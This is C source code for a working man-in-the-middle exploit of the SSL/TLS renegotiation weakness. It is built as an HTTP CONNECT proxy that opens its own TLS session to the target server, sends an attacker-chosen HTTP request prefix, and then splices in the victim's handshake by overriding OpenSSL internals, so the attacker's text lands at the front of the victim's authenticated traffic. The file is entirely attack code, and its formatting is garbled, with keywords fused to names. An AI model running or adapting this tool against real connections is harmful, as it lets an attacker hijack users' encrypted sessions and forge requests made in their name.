|  | #include <errno.h>#include <stdio.h>
 #include <string.h>
 #include <unistd.h>
 #include <sys/time.h>
 #include <sys/socket.h>
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include <netdb.h>
 #include <openssl/ssl.h>
 #include <openssl/ssl3.h>
 voidfail(const char *proc)
 {
 perror(proc);
 exit(1);
 }
 voidsetup_server
 (int *sock, int port)
 {
 struct sockaddr_in sa;
 int s, r, i;
   s = socket(AF_INET, SOCK_STREAM, 0);if (s == -1)
 fail("setup_server:socket");
 i = 1;
 r = setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
 if (r == -1)
 fail("setup_server:setsockopt(SO_REUSEADDR)");
 memset(&sa, 0, sizeof(sa));
 sa.sin_family = AF_INET;
 sa.sin_addr.s_addr = INADDR_ANY;
 sa.sin_port = htons(port);
 r = bind(s, (struct sockaddr *) &sa, sizeof(sa));
 if (r == -1)
 fail("setup_server:bind");
 r = listen(s, 5);
 if (r == -1)
 fail("setup_server:listen");
 *sock = s;
 }
 voiddo_accept
 (int *accepted, int sock)
 {
 struct sockaddr_in sa;
 socklen_t sl;
 int s;
   sl = sizeof(sa);s = accept(sock, (struct sockaddr *) &sa, &sl);
 if (s == -1)
 fail("do_accept:accept");
 fprintf(stderr, "accepted %s:%d\n",
 inet_ntoa(sa.sin_addr), ntohs(sa.sin_port));
 *accepted = s;
 }
 voidsetup_client
 (int *sock, in_addr_t ip, int port)
 {
 struct sockaddr_in sa;
 int s, r;
   s = socket(AF_INET, SOCK_STREAM, 0);if (s == -1)
 fail("setup_server:socket");
 memset(&sa, 0, sizeof(sa));
 sa.sin_family = AF_INET;
 sa.sin_addr.s_addr = ip;
 sa.sin_port = htons(port);
 r = connect(s, (struct sockaddr *) &sa, sizeof(sa));
 if (r == -1)
 fail("setup_client:connect");
 *sock = s;
 }
 intxread
 (int fd, unsigned char *buf, size_t len)
 {
 int r, rlen;
   rlen = 0;while (len > 0) {
 r = read(fd, buf, len);
 if (r == 0)
 break;
 else if (r == -1)
 return -1;
 buf += r;
 len -= r;
 rlen += r;
 }
 return rlen;
 }
 struct ssl_io_t{
 SSL *ssl;
 int fd;
 int raw;
 };
 extern intssl3_read_bytes
 (SSL *s, int type, unsigned char *buf, int len, int peek);
 intrec_read
 (struct ssl_io_t *io, unsigned char *buf)
 {
 int r, l;
 #if 0fprintf(stderr, "rec read %s\n",
 io->raw & 1 ? "raw" : "cooked");
 #endif
 if (io->raw & 1) {
 r = xread(io->fd, buf, 5);
 if (r == 0)
 return 0;
 else if (r != 5)
 fail("rec_read:read1");
 if (buf[0] != 0x80)
 l = (buf[3] << 8) + buf[4];
 else /* ssl2 hack */
 /* fail("rec_read:ssl2"); */
 l = (buf[1]) - 3;
 if (l < 0 || l > (1 << 15)) {
 errno = EINVAL;
 fail("rec_read:reclen");
 }
 r = xread(io->fd, buf + 5, l);
 if (r != l)
 fail("rec_read:read2");
 l += 5;
 return l;
 }
 else {
 r = ssl3_read_bytes(io->ssl, SSL3_RT_HANDSHAKE, buf + 5, 1<<15, 0);
 if (r == 0)
 return 0;
 else if (r < 0) {
 if (io->ssl->s3->change_cipher_spec) {
 buf[0] = 0x14;
 buf[1] = (io->ssl->version >> 8);
 buf[2] = (io->ssl->version & 0xff);
 buf[3] = 0;
 buf[4] = 1;
 buf[5] = 1;
 io->raw |= 1;
 io->ssl->s3->change_cipher_spec = 0;
 return 6;
 }
 fail("rec_read:ssl3_read_bytes");
 }
 l = r;
 buf[0] = io->ssl->s3->rrec.type;
 buf[1] = (io->ssl->version >> 8);
 buf[2] = (io->ssl->version & 0xff);
 buf[3] = (l >> 8);
 buf[4] = (l & 0xff);
 return l + 5;
 }
 }
 extern intssl3_write_bytes
 (SSL *s, int type, const void *buf_, int len);
 voidrec_write
 (struct ssl_io_t *io, unsigned char *buf, size_t len)
 {
 int r;
 #if 0fprintf(stderr, "rec write %s\n",
 io->raw & 2 ? "raw" : "cooked");
 #endif
 if (io->raw & 2) {
 r = write(io->fd, buf, len);
 if (r != len)
 fail("rec_write:write");
 }
 else {
 r = ssl3_write_bytes(io->ssl, buf[0], buf + 5, len - 5);
 if (r < 0) {
 fail("rec_read:ssl3_write_bytes");
 }
 if (buf[0] == 0x14) {
 io->raw |= 2;
 }
 }
 }
 voidssl_io
 (struct ssl_io_t *assl, struct ssl_io_t *cssl)
 {
 struct ssl_io_t *ssls[2];
 int maxfd, active;
 int i, r, l;
 fd_set rfd;
 unsigned char buf[1 << 16];
   ssls[0] = assl;ssls[1] = cssl;
 active = 3;
 maxfd = 0;
 for (i = 0; i < 2; i++)
 if (ssls[i]->fd >= maxfd)
 maxfd = ssls[i]->fd + 1;
   while (active) {FD_ZERO(&rfd);
 for (i = 0; i < 2; i++)
 if (active & (1 << i))
 FD_SET(ssls[i]->fd, &rfd);
 r = select(maxfd, &rfd, NULL, NULL, NULL);
 if (r == -1)
 fail("rec_io:select");
 for (i = 0; i < 2; i++) {
 if (active & (1 << i) && FD_ISSET(ssls[i]->fd, &rfd)) {
 r = rec_read(ssls[i], buf);
 if (r == 0) {
 shutdown(ssls[i]->fd, SHUT_RD);
 shutdown(ssls[1 - i]->fd, SHUT_WR);
 active &= ~(1 << i);
 continue;
 }
 l = r;
 rec_write(ssls[1 - i], buf, l);
 }
 }
 }
 }
 voidsetup_ssl_ctx
 (SSL_CTX **ctx)
 {
 OpenSSL_add_ssl_algorithms();
 SSL_load_error_strings();
 *ctx = SSL_CTX_new(SSLv3_client_method());
 if (!*ctx)
 fail("setup_ssl_ctx:SSL_CTX_new");
 }
 voidsetup_ssl_io
 (struct ssl_io_t *io, SSL_CTX *ctx, int sock, int raw)
 {
 SSL *ssl;
 BIO *bio;
   ssl = SSL_new(ctx);if (!ssl)
 fail("setup_ssl_ctx:SSL_new");
 bio = BIO_new_socket(sock, BIO_NOCLOSE);
 if (!bio)
 fail("setup_ssl_ctx:BIO_new_socket");
 SSL_set_bio(ssl, bio, bio);
 SSL_set_connect_state(ssl);
 io->ssl = ssl;
 io->fd = sock;
 io->raw = raw;
 }
 intbogus_change_cipher_state
 (SSL *ssl, int i)
 {
 return 0;
 }
 /* stolen from ssl_locl.h */typedef struct ssl3_enc_method {
 int (*enc)(SSL *, int);
 int (*mac)(SSL *, unsigned char *, int);
 int (*setup_key_block)(SSL *);
 int (*generate_master_secret)(SSL *, unsigned char *, unsigned char *, int);
 int (*change_cipher_state)(SSL *, int);
 int (*final_finish_mac)(SSL *, EVP_MD_CTX *, EVP_MD_CTX *, const char *, int, unsigned char *);
 int finish_mac_length;
 int (*cert_verify_mac)(SSL *, EVP_MD_CTX *, unsigned char *);
 const char *client_finished_label;
 int client_finished_label_len;
 const char *server_finished_label;
 int server_finished_label_len;
 int (*alert_value)(int);
 } SSL3_ENC_METHOD;
 #define TRICK "GET /ble HTTP/1.0\r\nX-Blah: " voidhack_ssl
 (struct ssl_io_t *assl, struct ssl_io_t *cssl)
 {
 int r, l;
 unsigned char buf[1 << 16];
 SSL_METHOD *mth;
   r = rec_read(assl, buf);if (r <= 0)
 fail("hack_ssl:rec_read:no i/o");
 l = r;
   if (buf[0] == 0x16 && buf[1] == 3 &&(buf[2] == 0 || buf[2] == 1)) {
 cssl->raw = 0;
 r = SSL_CTX_set_ssl_version
 (cssl->ssl->ctx, buf[2] == 0 ?
 SSLv3_client_method() : TLSv1_client_method());
 if (r != 1)
 fail("hack_ssl:SSL_CTX_set_ssl_version");
 r = SSL_clear(cssl->ssl);
 if (r != 1)
 fail("hack_ssl:SSL_clear");
 r = SSL_connect(cssl->ssl);
 if (r != 1)
 fail("hack_ssl:SSL_connect");
 /* ssl3_setup_buffers(io->ssl);
 ssl_get_new_session(io->ssl, 0); */
 r = SSL_write(cssl->ssl, TRICK, sizeof(TRICK)-1);
 if (r != sizeof(TRICK)-1)
 fail("hack_ssl:SSL_connect");
 cssl->ssl->in_handshake++;
 cssl->ssl->method->ssl3_enc->change_cipher_state =
 bogus_change_cipher_state;
 }
 else {
 /* schedule suicide */
 alarm(5);
 }
   rec_write(cssl, buf, l);}
 #define HTTP_OK "HTTP/1.0 200 Connected\r\n\r\n" voidhandle_http_req
 (int sock, in_addr_t *ip, int *port)
 {
 int r, l, k;
 unsigned char buf[1 << 16];
 char str[100];
 unsigned short num;
 struct hostent *he;
   l = 0;for (;;) {
 r = read(sock, buf + l, sizeof(buf)-1 - l);
 if (r <= 0)
 fail("handle_http_req:read");
 for (k = l; r > 0; ++k, --r)
 if (buf[k] != '\r')
 buf[l++] = buf[k];
 if (l >= 2 && buf[l-1] == '\n' && buf[l-2] == '\n')
 break;
 if (l >= sizeof(buf)-1)
 fail("handle_http_req:req too big");
 }
 
 buf[l] = '\0';
 r = sscanf(buf, "CONNECT %99[0-9A-Za-z.-]:%hu", str, &num);
 if (r != 2)
 fail("handle_http_req:bad request");
 he = gethostbyname(str);
 if (he == NULL || he->h_length != sizeof(in_addr_t))
 fail("handle_http_req:gethostbyname");
   r = write(sock, HTTP_OK, sizeof(HTTP_OK)-1);if (r != sizeof(HTTP_OK)-1)
 fail("handle_http_req:write");
   *ip = *(in_addr_t *)(he->h_addr_list[0]);*port = num;
 }
 intmain
 (int argc, const char **argv)
 {
 pid_t pid;
 int ssock, asock, csock;
 SSL_CTX *ctx;
 in_addr_t ip;
 int port;
 struct ssl_io_t assl, cssl;
   setup_ssl_ctx(&ctx);setup_server(&ssock, atoi(argv[1]));
 for (;;) {
 do_accept(&asock, ssock);
 pid = fork();
 if (pid == -1)
 fail("main:fork");
 else if (pid == 0) {
 close(ssock);
 handle_http_req(asock, &ip, &port);
 setup_client(&csock, ip, port);
 setup_ssl_io(&assl, ctx, asock, 3);
 setup_ssl_io(&cssl, ctx, csock, 3);
 hack_ssl(&assl, &cssl);
 ssl_io(&assl, &cssl);
 return 0;
 }
 else {
 close(asock);
 }
 }
 }
   
 |